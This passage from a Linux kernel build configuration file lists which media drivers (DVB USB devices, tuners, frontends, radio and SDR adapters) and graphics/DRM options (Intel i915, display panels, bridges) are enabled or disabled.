CONFIG_DVB_USB_M920X=y
CONFIG_DVB_USB_NOVA_T_USB2=y
CONFIG_DVB_USB_OPERA1=y
CONFIG_DVB_USB_PCTV452E=y
CONFIG_DVB_USB_TECHNISAT_USB2=y
CONFIG_DVB_USB_TTUSB2=y
CONFIG_DVB_USB_UMT_010=y
CONFIG_DVB_USB_VP702X=y
CONFIG_DVB_USB_VP7045=y
CONFIG_SMS_USB_DRV=y
CONFIG_DVB_TTUSB_BUDGET=y
CONFIG_DVB_TTUSB_DEC=y

#
# Webcam, TV (analog/digital) USB devices
#
CONFIG_VIDEO_EM28XX=y
CONFIG_VIDEO_EM28XX_V4L2=y
CONFIG_VIDEO_EM28XX_ALSA=y
CONFIG_VIDEO_EM28XX_DVB=y
CONFIG_VIDEO_EM28XX_RC=y

#
# Software defined radio USB devices
#
CONFIG_USB_AIRSPY=y
CONFIG_USB_HACKRF=y
CONFIG_USB_MSI2500=y
# CONFIG_MEDIA_PCI_SUPPORT is not set
CONFIG_RADIO_ADAPTERS=y
# CONFIG_RADIO_MAXIRADIO is not set
# CONFIG_RADIO_SAA7706H is not set
CONFIG_RADIO_SHARK=y
CONFIG_RADIO_SHARK2=y
CONFIG_RADIO_SI4713=y
CONFIG_RADIO_TEA575X=y
# CONFIG_RADIO_TEA5764 is not set
# CONFIG_RADIO_TEF6862 is not set
CONFIG_USB_DSBR=y
CONFIG_USB_KEENE=y
CONFIG_USB_MA901=y
CONFIG_USB_MR800=y
CONFIG_USB_RAREMONO=y
CONFIG_RADIO_SI470X=y
CONFIG_USB_SI470X=y
# CONFIG_I2C_SI470X is not set
CONFIG_USB_SI4713=y
# CONFIG_PLATFORM_SI4713 is not set
CONFIG_I2C_SI4713=y
# CONFIG_MEDIA_PLATFORM_DRIVERS is not set

#
# MMC/SDIO DVB adapters
#
CONFIG_SMS_SDIO_DRV=y
CONFIG_V4L_TEST_DRIVERS=y
CONFIG_VIDEO_VIM2M=y
CONFIG_VIDEO_VICODEC=y
CONFIG_VIDEO_VIMC=y
CONFIG_VIDEO_VIVID=y
CONFIG_VIDEO_VIVID_CEC=y
# CONFIG_VIDEO_VIVID_OSD is not set
CONFIG_VIDEO_VIVID_MAX_DEVS=64
# CONFIG_VIDEO_VISL is not set
CONFIG_DVB_TEST_DRIVERS=y
CONFIG_DVB_VIDTV=y

#
# FireWire (IEEE 1394) Adapters
#
# CONFIG_DVB_FIREDTV is not set
CONFIG_MEDIA_COMMON_OPTIONS=y

#
# common driver options
#
CONFIG_CYPRESS_FIRMWARE=y
CONFIG_TTPCI_EEPROM=y
CONFIG_UVC_COMMON=y
CONFIG_VIDEO_CX2341X=y
CONFIG_VIDEO_TVEEPROM=y
CONFIG_DVB_B2C2_FLEXCOP=y
CONFIG_SMS_SIANO_MDTV=y
CONFIG_SMS_SIANO_RC=y
CONFIG_SMS_SIANO_DEBUGFS=y
CONFIG_VIDEO_V4L2_TPG=y
CONFIG_VIDEOBUF2_CORE=y
CONFIG_VIDEOBUF2_V4L2=y
CONFIG_VIDEOBUF2_MEMOPS=y
CONFIG_VIDEOBUF2_DMA_CONTIG=y
CONFIG_VIDEOBUF2_VMALLOC=y
CONFIG_VIDEOBUF2_DMA_SG=y
# end of Media drivers

#
# Media ancillary drivers
#
CONFIG_MEDIA_ATTACH=y
# CONFIG_VIDEO_IR_I2C is not set
# CONFIG_VIDEO_CAMERA_SENSOR is not set

#
# Camera ISPs
#
# CONFIG_VIDEO_THP7312 is not set
# end of Camera ISPs

# CONFIG_VIDEO_CAMERA_LENS is not set

#
# Flash devices
#
# CONFIG_VIDEO_ADP1653 is not set
# CONFIG_VIDEO_LM3560 is not set
# CONFIG_VIDEO_LM3646 is not set
# end of Flash devices

#
# Audio decoders, processors and mixers
#
# CONFIG_VIDEO_CS3308 is not set
# CONFIG_VIDEO_CS5345 is not set
CONFIG_VIDEO_CS53L32A=y
CONFIG_VIDEO_MSP3400=y
# CONFIG_VIDEO_SONY_BTF_MPX is not set
# CONFIG_VIDEO_TDA1997X is not set
# CONFIG_VIDEO_TDA7432 is not set
# CONFIG_VIDEO_TDA9840 is not set
# CONFIG_VIDEO_TEA6415C is not set
# CONFIG_VIDEO_TEA6420 is not set
# CONFIG_VIDEO_TLV320AIC23B is not set
# CONFIG_VIDEO_TVAUDIO is not set
# CONFIG_VIDEO_UDA1342 is not set
# CONFIG_VIDEO_VP27SMPX is not set
# CONFIG_VIDEO_WM8739 is not set
CONFIG_VIDEO_WM8775=y
# end of Audio decoders, processors and mixers

#
# RDS decoders
#
# CONFIG_VIDEO_SAA6588 is not set
# end of RDS decoders

#
# Video decoders
#
# CONFIG_VIDEO_ADV7180 is not set
# CONFIG_VIDEO_ADV7183 is not set
# CONFIG_VIDEO_ADV748X is not set
# CONFIG_VIDEO_ADV7604 is not set
# CONFIG_VIDEO_ADV7842 is not set
# CONFIG_VIDEO_BT819 is not set
# CONFIG_VIDEO_BT856 is not set
# CONFIG_VIDEO_BT866 is not set
# CONFIG_VIDEO_ISL7998X is not set
# CONFIG_VIDEO_LT6911UXE is not set
# CONFIG_VIDEO_KS0127 is not set
# CONFIG_VIDEO_MAX9286 is not set
# CONFIG_VIDEO_ML86V7667 is not set
# CONFIG_VIDEO_SAA7110 is not set
CONFIG_VIDEO_SAA711X=y
# CONFIG_VIDEO_TC358743 is not set
# CONFIG_VIDEO_TC358746 is not set
# CONFIG_VIDEO_TVP514X is not set
# CONFIG_VIDEO_TVP5150 is not set
# CONFIG_VIDEO_TVP7002 is not set
# CONFIG_VIDEO_TW2804 is not set
# CONFIG_VIDEO_TW9900 is not set
# CONFIG_VIDEO_TW9903 is not set
# CONFIG_VIDEO_TW9906 is not set
# CONFIG_VIDEO_TW9910 is not set
# CONFIG_VIDEO_VPX3220 is not set

#
# Video and audio decoders
#
# CONFIG_VIDEO_SAA717X is not set
CONFIG_VIDEO_CX25840=y
# end of Video decoders

#
# Video encoders
#
# CONFIG_VIDEO_ADV7170 is not set
# CONFIG_VIDEO_ADV7175 is not set
# CONFIG_VIDEO_ADV7343 is not set
# CONFIG_VIDEO_ADV7393 is not set
# CONFIG_VIDEO_ADV7511 is not set
# CONFIG_VIDEO_AK881X is not set
# CONFIG_VIDEO_SAA7127 is not set
# CONFIG_VIDEO_SAA7185 is not set
# CONFIG_VIDEO_THS8200 is not set
# end of Video encoders

#
# Video improvement chips
#
# CONFIG_VIDEO_UPD64031A is not set
# CONFIG_VIDEO_UPD64083 is not set
# end of Video improvement chips

#
# Audio/Video compression chips
#
# CONFIG_VIDEO_SAA6752HS is not set
# end of Audio/Video compression chips

#
# SDR tuner chips
#
# CONFIG_SDR_MAX2175 is not set
# end of SDR tuner chips

#
# Miscellaneous helper chips
#
# CONFIG_VIDEO_I2C is not set
# CONFIG_VIDEO_M52790 is not set
# CONFIG_VIDEO_ST_MIPID02 is not set
# CONFIG_VIDEO_THS7303 is not set
# end of Miscellaneous helper chips

#
# Video serializers and deserializers
#
# CONFIG_VIDEO_DS90UB913 is not set
# CONFIG_VIDEO_DS90UB953 is not set
# CONFIG_VIDEO_DS90UB960 is not set
# CONFIG_VIDEO_MAX96714 is not set
# CONFIG_VIDEO_MAX96717 is not set
# end of Video serializers and deserializers

#
# Media SPI Adapters
#
# CONFIG_CXD2880_SPI_DRV is not set
# CONFIG_VIDEO_GS1662 is not set
# end of Media SPI Adapters

CONFIG_MEDIA_TUNER=y

#
# Customize TV tuners
#
# CONFIG_MEDIA_TUNER_E4000 is not set
# CONFIG_MEDIA_TUNER_FC0011 is not set
# CONFIG_MEDIA_TUNER_FC0012 is not set
# CONFIG_MEDIA_TUNER_FC0013 is not set
# CONFIG_MEDIA_TUNER_FC2580 is not set
# CONFIG_MEDIA_TUNER_IT913X is not set
# CONFIG_MEDIA_TUNER_M88RS6000T is not set
# CONFIG_MEDIA_TUNER_MAX2165 is not set
# CONFIG_MEDIA_TUNER_MC44S803 is not set
CONFIG_MEDIA_TUNER_MSI001=y
# CONFIG_MEDIA_TUNER_MT2060 is not set
# CONFIG_MEDIA_TUNER_MT2063 is not set
# CONFIG_MEDIA_TUNER_MT20XX is not set
# CONFIG_MEDIA_TUNER_MT2131 is not set
# CONFIG_MEDIA_TUNER_MT2266 is not set
# CONFIG_MEDIA_TUNER_MXL301RF is not set
# CONFIG_MEDIA_TUNER_MXL5005S is not set
# CONFIG_MEDIA_TUNER_MXL5007T is not set
# CONFIG_MEDIA_TUNER_QM1D1B0004 is not set
# CONFIG_MEDIA_TUNER_QM1D1C0042 is not set
# CONFIG_MEDIA_TUNER_QT1010 is not set
# CONFIG_MEDIA_TUNER_R820T is not set
# CONFIG_MEDIA_TUNER_SI2157 is not set
# CONFIG_MEDIA_TUNER_SIMPLE is not set
# CONFIG_MEDIA_TUNER_TDA18212 is not set
# CONFIG_MEDIA_TUNER_TDA18218 is not set
# CONFIG_MEDIA_TUNER_TDA18250 is not set
# CONFIG_MEDIA_TUNER_TDA18271 is not set
# CONFIG_MEDIA_TUNER_TDA827X is not set
# CONFIG_MEDIA_TUNER_TDA8290 is not set
# CONFIG_MEDIA_TUNER_TDA9887 is not set
# CONFIG_MEDIA_TUNER_TEA5761 is not set
# CONFIG_MEDIA_TUNER_TEA5767 is not set
# CONFIG_MEDIA_TUNER_TUA9001 is not set
# CONFIG_MEDIA_TUNER_XC2028 is not set
# CONFIG_MEDIA_TUNER_XC4000 is not set
# CONFIG_MEDIA_TUNER_XC5000 is not set
# end of Customize TV tuners

#
# Customise DVB Frontends
#

#
# Multistandard (satellite) frontends
#
# CONFIG_DVB_M88DS3103 is not set
# CONFIG_DVB_MXL5XX is not set
# CONFIG_DVB_STB0899 is not set
# CONFIG_DVB_STB6100 is not set
# CONFIG_DVB_STV090x is not set
# CONFIG_DVB_STV0910 is not set
# CONFIG_DVB_STV6110x is not set
# CONFIG_DVB_STV6111 is not set

#
# Multistandard (cable + terrestrial) frontends
#
# CONFIG_DVB_DRXK is not set
# CONFIG_DVB_MN88472 is not set
# CONFIG_DVB_MN88473 is not set
# CONFIG_DVB_SI2165 is not set
# CONFIG_DVB_TDA18271C2DD is not set

#
# DVB-S (satellite) frontends
#
# CONFIG_DVB_CX24110 is not set
# CONFIG_DVB_CX24116 is not set
# CONFIG_DVB_CX24117 is not set
# CONFIG_DVB_CX24120 is not set
# CONFIG_DVB_CX24123 is not set
# CONFIG_DVB_DS3000 is not set
# CONFIG_DVB_MB86A16 is not set
# CONFIG_DVB_MT312 is not set
# CONFIG_DVB_S5H1420 is not set
# CONFIG_DVB_SI21XX is not set
# CONFIG_DVB_STB6000 is not set
# CONFIG_DVB_STV0288 is not set
# CONFIG_DVB_STV0299 is not set
# CONFIG_DVB_STV0900 is not set
# CONFIG_DVB_STV6110 is not set
# CONFIG_DVB_TDA10071 is not set
# CONFIG_DVB_TDA10086 is not set
# CONFIG_DVB_TDA8083 is not set
# CONFIG_DVB_TDA8261 is not set
# CONFIG_DVB_TDA826X is not set
# CONFIG_DVB_TS2020 is not set
# CONFIG_DVB_TUA6100 is not set
# CONFIG_DVB_TUNER_CX24113 is not set
# CONFIG_DVB_TUNER_ITD1000 is not set
# CONFIG_DVB_VES1X93 is not set
# CONFIG_DVB_ZL10036 is not set
# CONFIG_DVB_ZL10039 is not set

#
# DVB-T (terrestrial) frontends
#
CONFIG_DVB_AF9013=y
CONFIG_DVB_AS102_FE=y
# CONFIG_DVB_CX22700 is not set
# CONFIG_DVB_CX22702 is not set
# CONFIG_DVB_CXD2820R is not set
# CONFIG_DVB_CXD2841ER is not set
CONFIG_DVB_DIB3000MB=y
CONFIG_DVB_DIB3000MC=y
# CONFIG_DVB_DIB7000M is not set
# CONFIG_DVB_DIB7000P is not set
# CONFIG_DVB_DIB9000 is not set
# CONFIG_DVB_DRXD is not set
CONFIG_DVB_EC100=y
CONFIG_DVB_GP8PSK_FE=y
# CONFIG_DVB_L64781 is not set
# CONFIG_DVB_MT352 is not set
# CONFIG_DVB_NXT6000 is not set
CONFIG_DVB_RTL2830=y
CONFIG_DVB_RTL2832=y
CONFIG_DVB_RTL2832_SDR=y
# CONFIG_DVB_S5H1432 is not set
# CONFIG_DVB_SI2168 is not set
# CONFIG_DVB_SP887X is not set
# CONFIG_DVB_STV0367 is not set
# CONFIG_DVB_TDA10048 is not set
# CONFIG_DVB_TDA1004X is not set
# CONFIG_DVB_ZD1301_DEMOD is not set
CONFIG_DVB_ZL10353=y
# CONFIG_DVB_CXD2880 is not set

#
# DVB-C (cable) frontends
#
# CONFIG_DVB_STV0297 is not set
# CONFIG_DVB_TDA10021 is not set
# CONFIG_DVB_TDA10023 is not set
# CONFIG_DVB_VES1820 is not set

#
# ATSC (North American/Korean Terrestrial/Cable DTV) frontends
#
# CONFIG_DVB_AU8522_DTV is not set
# CONFIG_DVB_AU8522_V4L is not set
# CONFIG_DVB_BCM3510 is not set
# CONFIG_DVB_LG2160 is not set
# CONFIG_DVB_LGDT3305 is not set
# CONFIG_DVB_LGDT3306A is not set
# CONFIG_DVB_LGDT330X is not set
# CONFIG_DVB_MXL692 is not set
# CONFIG_DVB_NXT200X is not set
# CONFIG_DVB_OR51132 is not set
# CONFIG_DVB_OR51211 is not set
# CONFIG_DVB_S5H1409 is not set
# CONFIG_DVB_S5H1411 is not set

#
# ISDB-T (terrestrial) frontends
#
# CONFIG_DVB_DIB8000 is not set
# CONFIG_DVB_MB86A20S is not set
# CONFIG_DVB_S921 is not set

#
# ISDB-S (satellite) & ISDB-T (terrestrial) frontends
#
# CONFIG_DVB_MN88443X is not set
# CONFIG_DVB_TC90522 is not set

#
# Digital terrestrial only tuners/PLL
#
# CONFIG_DVB_PLL is not set
# CONFIG_DVB_TUNER_DIB0070 is not set
# CONFIG_DVB_TUNER_DIB0090 is not set

#
# SEC control devices for DVB-S
#
# CONFIG_DVB_A8293 is not set
CONFIG_DVB_AF9033=y
# CONFIG_DVB_ASCOT2E is not set
# CONFIG_DVB_ATBM8830 is not set
# CONFIG_DVB_HELENE is not set
# CONFIG_DVB_HORUS3A is not set
# CONFIG_DVB_ISL6405 is not set
# CONFIG_DVB_ISL6421 is not set
# CONFIG_DVB_ISL6423 is not set
# CONFIG_DVB_IX2505V is not set
# CONFIG_DVB_LGS8GL5 is not set
# CONFIG_DVB_LGS8GXX is not set
# CONFIG_DVB_LNBH25 is not set
# CONFIG_DVB_LNBH29 is not set
# CONFIG_DVB_LNBP21 is not set
# CONFIG_DVB_LNBP22 is not set
# CONFIG_DVB_M88RS2000 is not set
# CONFIG_DVB_TDA665x is not set
# CONFIG_DVB_DRX39XYJ is not set

#
# Common Interface (EN50221) controller drivers
#
# CONFIG_DVB_CXD2099 is not set
# CONFIG_DVB_SP2 is not set
# end of Customise DVB Frontends

#
# Tools to develop new frontends
#
# CONFIG_DVB_DUMMY_FE is not set
# end of Media ancillary drivers

#
# Graphics support
#
CONFIG_APERTURE_HELPERS=y
CONFIG_SCREEN_INFO=y
CONFIG_VIDEO=y
# CONFIG_AUXDISPLAY is not set
# CONFIG_PANEL is not set
CONFIG_AGP=y
CONFIG_AGP_AMD64=y
CONFIG_AGP_INTEL=y
# CONFIG_AGP_SIS is not set
# CONFIG_AGP_VIA is not set
CONFIG_INTEL_GTT=y
# CONFIG_VGA_SWITCHEROO is not set
CONFIG_DRM=y

#
# DRM debugging options
#
# CONFIG_DRM_WERROR is not set
CONFIG_DRM_DEBUG_MM=y
# end of DRM debugging options

CONFIG_DRM_MIPI_DSI=y
CONFIG_DRM_KMS_HELPER=y
# CONFIG_DRM_PANIC is not set
# CONFIG_DRM_DEBUG_DP_MST_TOPOLOGY_REFS is not set
# CONFIG_DRM_DEBUG_MODESET_LOCK is not set
CONFIG_DRM_CLIENT=y
CONFIG_DRM_CLIENT_LIB=y
CONFIG_DRM_CLIENT_SELECTION=y
CONFIG_DRM_CLIENT_SETUP=y

#
# Supported DRM clients
#
CONFIG_DRM_FBDEV_EMULATION=y
CONFIG_DRM_FBDEV_OVERALLOC=100
# CONFIG_DRM_FBDEV_LEAK_PHYS_SMEM is not set
# CONFIG_DRM_CLIENT_LOG is not set
CONFIG_DRM_CLIENT_DEFAULT_FBDEV=y
CONFIG_DRM_CLIENT_DEFAULT="fbdev"
# end of Supported DRM clients

# CONFIG_DRM_LOAD_EDID_FIRMWARE is not set
CONFIG_DRM_DISPLAY_DP_AUX_BUS=y
CONFIG_DRM_DISPLAY_HELPER=y
# CONFIG_DRM_DISPLAY_DP_AUX_CEC is not set
# CONFIG_DRM_DISPLAY_DP_AUX_CHARDEV is not set
CONFIG_DRM_DISPLAY_DP_HELPER=y
CONFIG_DRM_DISPLAY_DSC_HELPER=y
CONFIG_DRM_DISPLAY_HDCP_HELPER=y
CONFIG_DRM_DISPLAY_HDMI_HELPER=y
CONFIG_DRM_TTM=y
CONFIG_DRM_BUDDY=y
CONFIG_DRM_TTM_HELPER=y
CONFIG_DRM_GEM_SHMEM_HELPER=y
# CONFIG_DRM_AMDGPU is not set

#
# ARM devices
#
# CONFIG_DRM_KOMEDA is not set
# end of ARM devices

# CONFIG_DRM_AST is not set
CONFIG_DRM_BRIDGE=y
CONFIG_DRM_PANEL_BRIDGE=y
CONFIG_DRM_AUX_BRIDGE=y

#
# Display Interface Bridges
#
# CONFIG_DRM_CHIPONE_ICN6211 is not set
# CONFIG_DRM_CHRONTEL_CH7033 is not set
# CONFIG_DRM_DISPLAY_CONNECTOR is not set
# CONFIG_DRM_I2C_NXP_TDA998X is not set
# CONFIG_DRM_ITE_IT6263 is not set
# CONFIG_DRM_ITE_IT6505 is not set
# CONFIG_DRM_LONTIUM_LT8912B is not set
# CONFIG_DRM_LONTIUM_LT9211 is not set
# CONFIG_DRM_LONTIUM_LT9611 is not set
# CONFIG_DRM_LONTIUM_LT9611UXC is not set
# CONFIG_DRM_ITE_IT66121 is not set
# CONFIG_DRM_LVDS_CODEC is not set
# CONFIG_DRM_MEGACHIPS_STDPXXXX_GE_B850V3_FW is not set
# CONFIG_DRM_NWL_MIPI_DSI is not set
# CONFIG_DRM_NXP_PTN3460 is not set
# CONFIG_DRM_PARADE_PS8622 is not set
# CONFIG_DRM_PARADE_PS8640 is not set
# CONFIG_DRM_SAMSUNG_DSIM is not set
# CONFIG_DRM_SIL_SII8620 is not set
# CONFIG_DRM_SII902X is not set
# CONFIG_DRM_SII9234 is not set
# CONFIG_DRM_SIMPLE_BRIDGE is not set
# CONFIG_DRM_SOLOMON_SSD2825 is not set
# CONFIG_DRM_THINE_THC63LVD1024 is not set
# CONFIG_DRM_TOSHIBA_TC358762 is not set
# CONFIG_DRM_TOSHIBA_TC358764 is not set
# CONFIG_DRM_TOSHIBA_TC358767 is not set
# CONFIG_DRM_TOSHIBA_TC358768 is not set
# CONFIG_DRM_TOSHIBA_TC358775 is not set
# CONFIG_DRM_TI_DLPC3433 is not set
# CONFIG_DRM_TI_TDP158 is not set
# CONFIG_DRM_TI_TFP410 is not set
# CONFIG_DRM_TI_SN65DSI83 is not set
# CONFIG_DRM_TI_SN65DSI86 is not set
# CONFIG_DRM_TI_TPD12S015 is not set
# CONFIG_DRM_WAVESHARE_BRIDGE is not set
# CONFIG_DRM_ANALOGIX_ANX6345 is not set
# CONFIG_DRM_ANALOGIX_ANX78XX is not set
# CONFIG_DRM_ANALOGIX_ANX7625 is not set
# CONFIG_DRM_I2C_ADV7511 is not set
# CONFIG_DRM_CDNS_DSI is not set
# CONFIG_DRM_CDNS_MHDP8546 is not set
# end of Display Interface Bridges

# CONFIG_DRM_ETNAVIV is not set
# CONFIG_DRM_GMA500 is not set
CONFIG_DRM_GUD=y
# CONFIG_DRM_HISI_HIBMC is not set
CONFIG_DRM_I915=y
CONFIG_DRM_I915_FORCE_PROBE=""
CONFIG_DRM_I915_CAPTURE_ERROR=y
CONFIG_DRM_I915_COMPRESS_ERROR=y
CONFIG_DRM_I915_USERPTR=y
# CONFIG_DRM_I915_GVT_KVMGT is not set
# CONFIG_DRM_I915_DP_TUNNEL is not set

#
# drm/i915 Debugging
#
# CONFIG_DRM_I915_WERROR is not set
# CONFIG_DRM_I915_REPLAY_GPU_HANGS_API is not set
# CONFIG_DRM_I915_DEBUG is not set
# CONFIG_DRM_I915_DEBUG_MMIO is not set
# CONFIG_DRM_I915_SW_FENCE_DEBUG_OBJECTS is not set
# CONFIG_DRM_I915_SW_FENCE_CHECK_DAG is not set
# CONFIG_DRM_I915_DEBUG_GUC is not set
# CONFIG_DRM_I915_SELFTEST is not set
# CONFIG_DRM_I915_LOW_LEVEL_TRACEPOINTS is not set
# CONFIG_DRM_I915_DEBUG_VBLANK_EVADE is not set
# CONFIG_DRM_I915_DEBUG_RUNTIME_PM is not set
# CONFIG_DRM_I915_DEBUG_WAKEREF is not set
# end of drm/i915 Debugging

#
# drm/i915 Profile Guided Optimisation
#
CONFIG_DRM_I915_REQUEST_TIMEOUT=20000
CONFIG_DRM_I915_FENCE_TIMEOUT=10000
CONFIG_DRM_I915_USERFAULT_AUTOSUSPEND=250
CONFIG_DRM_I915_HEARTBEAT_INTERVAL=2500
CONFIG_DRM_I915_PREEMPT_TIMEOUT=640
CONFIG_DRM_I915_PREEMPT_TIMEOUT_COMPUTE=7500
CONFIG_DRM_I915_MAX_REQUEST_BUSYWAIT=8000
CONFIG_DRM_I915_STOP_TIMEOUT=100
CONFIG_DRM_I915_TIMESLICE_DURATION=1
# end of drm/i915 Profile Guided Optimisation

# CONFIG_DRM_LOGICVC is not set
# CONFIG_DRM_MGAG200 is not set
# CONFIG_DRM_NOUVEAU is not set
CONFIG_DRM_PANEL=y

#
# Display Panels
#
# CONFIG_DRM_PANEL_ABT_Y030XX067A is not set
# CONFIG_DRM_PANEL_ARM_VERSATILE is not set
# CONFIG_DRM_PANEL_ASUS_Z00T_TM5P5_NT35596 is not set
# CONFIG_DRM_PANEL_AUO_A030JTN01 is not set
# CONFIG_DRM_PANEL_BOE_BF060Y8M_AJ0 is not set
# CONFIG_DRM_PANEL_BOE_HIMAX8279D is not set
# CONFIG_DRM_PANEL_BOE_TD4320 is not set
# CONFIG_DRM_PANEL_BOE_TH101MB31UIG002_28A is not set
# CONFIG_DRM_PANEL_BOE_TV101WUM_NL6 is not set
# CONFIG_DRM_PANEL_BOE_TV101WUM_LL2 is not set
# CONFIG_DRM_PANEL_EBBG_FT8719 is not set
# CONFIG_DRM_PANEL_ELIDA_KD35T133 is not set
# CONFIG_DRM_PANEL_FEIXIN_K101_IM2BA02 is not set
# CONFIG_DRM_PANEL_FEIYANG_FY07024DI26A30D is not set
# CONFIG_DRM_PANEL_DSI_CM is not set
# CONFIG_DRM_PANEL_LVDS is not set
# CONFIG_DRM_PANEL_HIMAX_HX8279 is not set
# CONFIG_DRM_PANEL_HIMAX_HX83102 is not set
# CONFIG_DRM_PANEL_HIMAX_HX83112A is not set
# CONFIG_DRM_PANEL_HIMAX_HX83112B is not set
# CONFIG_DRM_PANEL_HIMAX_HX8394 is not set
# CONFIG_DRM_PANEL_HYDIS_HV101HD1 is not set
# CONFIG_DRM_PANEL_ILITEK_IL9322 is not set
# CONFIG_DRM_PANEL_ILITEK_ILI9341 is not set
# CONFIG_DRM_PANEL_ILITEK_ILI9805 is not set
# CONFIG_DRM_PANEL_ILITEK_ILI9806E is not set
# CONFIG_DRM_PANEL_ILITEK_ILI9881C is not set
# CONFIG_DRM_PANEL_ILITEK_ILI9882T is not set
# CONFIG_DRM_PANEL_INNOLUX_EJ030NA is not set
# CONFIG_DRM_PANEL_INNOLUX_P079ZCA is not set
# CONFIG_DRM_PANEL_JADARD_JD9365DA_H3 is not set
# CONFIG_DRM_PANEL_JDI_LPM102A188A is not set
# CONFIG_DRM_PANEL_JDI_LT070ME05000 is not set
# CONFIG_DRM_PANEL_JDI_R63452 is not set
# CONFIG_DRM_PANEL_KHADAS_TS050 is not set
# CONFIG_DRM_PANEL_KINGDISPLAY_KD097D04 is not set
# CONFIG_DRM_PANEL_LEADTEK_LTK050H3146W is not set
# CONFIG_DRM_PANEL_LEADTEK_LTK500HD1829 is not set
# CONFIG_DRM_PANEL_LINCOLNTECH_LCD197 is not set
# CONFIG_DRM_PANEL_LG_LB035Q02 is not set
# CONFIG_DRM_PANEL_LG_LD070WX3 is not set
# CONFIG_DRM_PANEL_LG_LG4573 is not set
# CONFIG_DRM_PANEL_LG_SW43408 is not set
# CONFIG_DRM_PANEL_MAGNACHIP_D53E6EA8966 is not set
# CONFIG_DRM_PANEL_MANTIX_MLAF057WE51 is not set
# CONFIG_DRM_PANEL_NEC_NL8048HL11 is not set
# CONFIG_DRM_PANEL_NEWVISION_NV3051D is not set
# CONFIG_DRM_PANEL_NEWVISION_NV3052C is not set
# CONFIG_DRM_PANEL_NOVATEK_NT35510 is not set
# CONFIG_DRM_PANEL_NOVATEK_NT35560 is not set
# CONFIG_DRM_PANEL_NOVATEK_NT35950 is not set
# CONFIG_DRM_PANEL_NOVATEK_NT36523 is not set
# CONFIG_DRM_PANEL_NOVATEK_NT36672A is not set
# CONFIG_DRM_PANEL_NOVATEK_NT36672E is not set
# CONFIG_DRM_PANEL_NOVATEK_NT37801 is not set
# CONFIG_DRM_PANEL_NOVATEK_NT39016 is not set
# CONFIG_DRM_PANEL_OLIMEX_LCD_OLINUXINO is not set
# CONFIG_DRM_PANEL_ORISETECH_OTA5601A is not set
# CONFIG_DRM_PANEL_ORISETECH_OTM8009A is not set
# CONFIG_DRM_PANEL_OSD_OSD101T2587_53TS is not set
# CONFIG_DRM_PANEL_PANASONIC_VVX10F034N00 is not set
# CONFIG_DRM_PANEL_RASPBERRYPI_TOUCHSCREEN is not set
# CONFIG_DRM_PANEL_RAYDIUM_RM67191 is not set
# CONFIG_DRM_PANEL_RAYDIUM_RM67200 is not set
# CONFIG_DRM_PANEL_RAYDIUM_RM68200 is not set
# CONFIG_DRM_PANEL_RAYDIUM_RM692E5 is not set
# CONFIG_DRM_PANEL_RAYDIUM_RM69380 is not set
# CONFIG_DRM_PANEL_RENESAS_R61307 is not set
# CONFIG_DRM_PANEL_RENESAS_R69328 is not set
# CONFIG_DRM_PANEL_RONBO_RB070D30 is not set
# CONFIG_DRM_PANEL_SAMSUNG_AMS581VF01 is not set
# CONFIG_DRM_PANEL_SAMSUNG_AMS639RQ08 is not set
# CONFIG_DRM_PANEL_SAMSUNG_S6E88A0_AMS427AP24 is not set
# CONFIG_DRM_PANEL_SAMSUNG_S6E88A0_AMS452EF01 is not set
# CONFIG_DRM_PANEL_SAMSUNG_ATNA33XC20 is not set
# CONFIG_DRM_PANEL_SAMSUNG_DB7430 is not set
# CONFIG_DRM_PANEL_SAMSUNG_LD9040 is not set
# CONFIG_DRM_PANEL_SAMSUNG_LTL106HL02 is not set
# CONFIG_DRM_PANEL_SAMSUNG_S6E3FA7 is not set
# CONFIG_DRM_PANEL_SAMSUNG_S6D16D0 is not set
# CONFIG_DRM_PANEL_SAMSUNG_S6D27A1 is not set
# CONFIG_DRM_PANEL_SAMSUNG_S6D7AA0 is not set
# CONFIG_DRM_PANEL_SAMSUNG_S6E3FC2X01 is not set
# CONFIG_DRM_PANEL_SAMSUNG_S6E3HA2 is not set
# CONFIG_DRM_PANEL_SAMSUNG_S6E3HA8 is not set
# CONFIG_DRM_PANEL_SAMSUNG_S6E63J0X03 is not set
# CONFIG_DRM_PANEL_SAMSUNG_S6E63M0 is not set
# CONFIG_DRM_PANEL_SAMSUNG_S6E8AA0 is not set
# CONFIG_DRM_PANEL_SAMSUNG_S6E8AA5X01_AMS561RA01 is not set
# CONFIG_DRM_PANEL_SAMSUNG_SOFEF00 is not set
# CONFIG_DRM_PANEL_SEIKO_43WVF1G is not set
# CONFIG_DRM_PANEL_SHARP_LQ079L1SX01 is not set
# CONFIG_DRM_PANEL_SHARP_LQ101R1SX01 is not set
# CONFIG_DRM_PANEL_SHARP_LS037V7DW01 is not set
# CONFIG_DRM_PANEL_SHARP_LS043T1LE01 is not set
# CONFIG_DRM_PANEL_SHARP_LS060T1SX01 is not set
# CONFIG_DRM_PANEL_SITRONIX_ST7701 is not set
# CONFIG_DRM_PANEL_SITRONIX_ST7703 is not set
# CONFIG_DRM_PANEL_SITRONIX_ST7789V is not set
# CONFIG_DRM_PANEL_SONY_ACX565AKM is not set
# CONFIG_DRM_PANEL_SONY_TD4353_JDI is not set
# CONFIG_DRM_PANEL_SONY_TULIP_TRULY_NT35521 is not set
# CONFIG_DRM_PANEL_STARTEK_KD070FHFID015 is not set
CONFIG_DRM_PANEL_EDP=y
# CONFIG_DRM_PANEL_SIMPLE is not set
# CONFIG_DRM_PANEL_SUMMIT is not set
# CONFIG_DRM_PANEL_SYNAPTICS_R63353 is not set
# CONFIG_DRM_PANEL_SYNAPTICS_TDDI is not set
# CONFIG_DRM_PANEL_TDO_TL070WSH30 is not set
# CONFIG_DRM_PANEL_TPO_TD028TTEC1 is not set
# CONFIG_DRM_PANEL_TPO_TD043MTEA1 is not set
# CONFIG_DRM_PANEL_TPO_TPG110 is not set
# CONFIG_DRM_PANEL_TRULY_NT35597_WQXGA is not set
# CONFIG_DRM_PANEL_VISIONOX_G2647FB105 is not set
# CONFIG_DRM_PANEL_VISIONOX_R66451 is not set
# CONFIG_DRM_PANEL_VISIONOX_RM69299 is not set
# CONFIG_DRM_PANEL_VISIONOX_RM692E5 is not set
# CONFIG_DRM_PANEL_VISIONOX_VTDR6130 is not set
# CONFIG_DRM_PANEL_WIDECHIPS_WS2401 is not set
# CONFIG_DRM_PANEL_XINPENG_XPP055C272 is not set
# end of Display Panels

# CONFIG_DRM_QXL is not set
# CONFIG_DRM_RADEON is not set
# CONFIG_DRM_ST7571 is not set
# CONFIG_DRM_ST7586 is not set
# CONFIG_DRM_ST7735R is not set
